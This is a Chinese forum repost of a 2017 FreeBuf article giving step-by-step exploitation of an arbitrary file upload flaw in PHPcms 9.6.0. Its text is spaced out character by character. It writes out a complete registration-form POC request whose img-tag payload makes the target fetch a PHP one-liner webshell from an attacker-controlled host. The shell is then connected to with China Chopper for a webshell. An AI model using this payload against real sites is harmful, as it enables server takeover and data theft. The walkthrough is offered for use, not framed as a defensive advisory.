搜索

[11233] 2017-04-13_PHPcms9.6.0最新版任意文件上传漏洞（直接getshell）

文档创建者：s7ckTeam
浏览次数：52
最后更新：2025-01-18
2017-04-13_PHPcms9.6.0最新版任意文件上传漏洞（直接getshell） P H P c m s 9 . 6 . 0   最 新 版 任 意 文 件 上 传 漏 洞 （ 直 接 g e t s h e l l ） 原 创   三 少   F r e e B u f   2 0 1 7 - 0 4 - 1 3 * 原 创 作 者 ： 三 少 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 对 于 对 于 P H P c m s 9 . 6 . 0   最 新 版 漏 洞 ， 具 体 利 用 步 骤 如 下 ： 最 新 版 漏 洞 ， 具 体 利 用 步 骤 如 下 ： 首 先 我 们 在 本 地 搭 建 一 个 p h p 环 境 ， 我 这 里 是 a p p s e r v （ 只 要 可 以 执 行 p h p 文 件 就 行 ） 在 根 目 录 下 新 建 一 个 t x t 文 本 文 件 里 面 写 上 p h p 一 句 话 ， 如 上 图 可 以 访 问 接 着 我 们 找 到 p h p c m s 网 站 注 册 模 块 ， 随 便 填 一 下 信 息
然 后 我 们 用 b u r p s u i t e 抓 包 然 后 发 送 到 r e p e a t e r
我 们 在 最 下 面 的 注 册 那 儿 使 用 i m g 标 签 插 入 我 们 本 地 第 一 步 搭 建 的 一 句 话 p o c 如 下 ： s i t e i d = 1 & m o d e l i d = 1 1 & u s e r n a m e = z f 1 a g a c 1 2 1 & p a s s w o r d = a a s g f a e w e e 3 1 1 a s & e m a i l = a 1 e a 2 1 f 9 4 @ q q . c o m & i n f o [ c o n t e n t ] = < i m g   s r c = h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 5 7 / t e m p l e t s / 1 . t x t ? . p h p # . j p g > & d o s u b m i t = 1 & p r o t o c o l = 只 需 要 修 改 i m g 里 面 的 链 接 为 你 本 地 写 入 的 一 句 话 即 可 ， 还 有 要 注 意 的 是 在 r e p e a t e r 里 测 试 g o 时 每 一 次 都 要 修 改 u s e r n a m e ， p a s s w o r d 和 e m a i l 字 段 值 （ 不 能 重 复 ， 汗 ） 我 们 可 以 看 到 r e p e a t e r 里 M Y S Q L   q u e r y 成 功 插 入 ， 接 着 访 问 上 图 r e p e a t e r 里 我 标 黄 语 句 ， 执 行 一 句 话 连 接 菜 刀 ， g e t s h e l l 利 用 方 式 二 ： 利 用 方 式 二 ： 利 用 火 狐 的 插 件 ， 操 作 如 下 e x p 如 下 ： 三 少
* 原 创 作 者 ： 三 少 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理